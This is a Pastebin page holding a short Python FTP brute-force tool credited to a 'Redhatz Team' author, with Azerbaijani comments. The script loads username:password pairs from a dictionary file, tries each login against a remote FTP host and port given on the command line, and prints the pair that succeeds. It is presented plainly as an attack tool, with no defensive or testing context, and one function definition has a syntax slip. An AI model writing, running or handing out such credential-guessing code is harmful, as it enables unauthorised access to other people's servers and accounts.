Advertisement
Freebyte

FTP Brute force.

Feb 19th, 2014
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.60 KB | None | 0 0
  1. ##Small FTP Brute-Force tool v 1.0
  2. ##Copyright 2014 Redhatz Team.
  3. ##Author:freebyte
  4. ##Contact me:freebyte@box.az
  5. ##All rights reserved!
  6.  
  7. ##Kicik Ftp Brute Force aleti.Python 3.3.2 versiyasinda hazirlanib.
  8. ##Python 3.x islekdir.
  9. ##Compile with cxfreeze(Py332)
  10. ##Proqram birbasha FTP protokolu uzerinden Remote hosta hucum edir.
  11. ##FTP Protocol based!
  12. ##Default dictinary file->./Dictionary.txt
  13. ##Proqramin icazesiz paylasilmasi qadagandir!
  14. ##Paylasilma zamani http://www.redhatz.org unvani referrer olaraq gosterilmelidir.
  15. ##Proqram console rejiminde isleyir.
  16. ##Help
  17. ##%scriptname% RHOST RPORT.
  18.  
  19. ##Including modules
  20. from ftplib import FTP,error_perm
  21. #from threading import Thread
  22. from sys import argv,exit
  23. #from colorama import Fore,Back,Style,init
  24. #init() ##Initializing console text attribute
  25.  
  26. Dictionary = 'Dictionary.txt'   #Passwords files(username:password)
  27. Passwords = []  #Empty list object(variable)
  28.  
  29.  
  30.  
  31. def _parse_Dictionary():
  32.     global Dictionary,Passwords
  33.     fopen = open(Dictionary,'r')
  34.     fread = fopen.read()    #read dictionary
  35.     fopen.close()   #closing file.faylla isimiz bitdi baglayiriq.
  36.    
  37.     #parsing data...
  38.     cutnewl = fread.split("\n") #cut \n and cutnewl == type(list)
  39.    
  40.     #creating for loop (for) generate base passwords
  41.     for j in range(0, len(cutnewl)):
  42.         Passwords.append(cutnewl[j].split(":")) #moved
  43.     ##view var Passwords ([['admin', 'brute'], ['user', 'test'], ['salam', 'sagol'], ['necesen', 'cni']])
  44.     ##list in list
  45.     return (1)
  46.  
  47.     #read_Dictionary()
  48.     #print(Passwords)
  49.  
  50. def b_operation(RHOST, RPORT)#main brute function
  51.     global Passwords
  52.     P = int(RPORT)  #if RPORT is string "" convert to integer value
  53.     ##connecting remote
  54.     '''
  55.     >>> for x in range(0, len(a)):
  56.     ...     print(a[x][0],a[x][1])
  57.     ...
  58.     admin brute
  59.     user set
  60.     '''
  61.     for q in range(0, len(Passwords)):
  62.         try:
  63.             C = FTP()
  64.             C.connect(RHOST, P)
  65.             C.login(Passwords[q][0], Passwords[q][1])
  66.             C.quit()
  67.             print("positive:[",Passwords[q][0],"] [",Passwords[q][1],"] - ")
  68.             exit(1)
  69.         except (error_perm):
  70.                 print("testing:[",Passwords[q][0],"] [",Passwords[q][1],"] + ")
  71.                 pass
  72.                
  73. _parse_Dictionary() #Loads password in memory
  74.  
  75. if argv[1] == "-h":
  76.     print('''\n\nUsage:\nSmall FTP Brute-Force tool v 1.0\nCopyright 2014 Redhatz Team.http://www.redhatz.org\nAuthor:freebyte\nContact me:freebyte@box.az
  77.         "\nAll rights reserved!\n\nSpeeling. RedBrute.exe "192.155.44.33" 21''')
  78. elif not len(argv) == 3:
  79.         print("Length argument too short. Please add argument")
  80. else:
  81. ##print(argv[1],argv[2])
  82.         #patok_1 = Thread(target=b_operation,args= (argv[1],argv[2]))
  83.         #patok_1.start()
  84.         b_operation(argv[1],argv[2])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement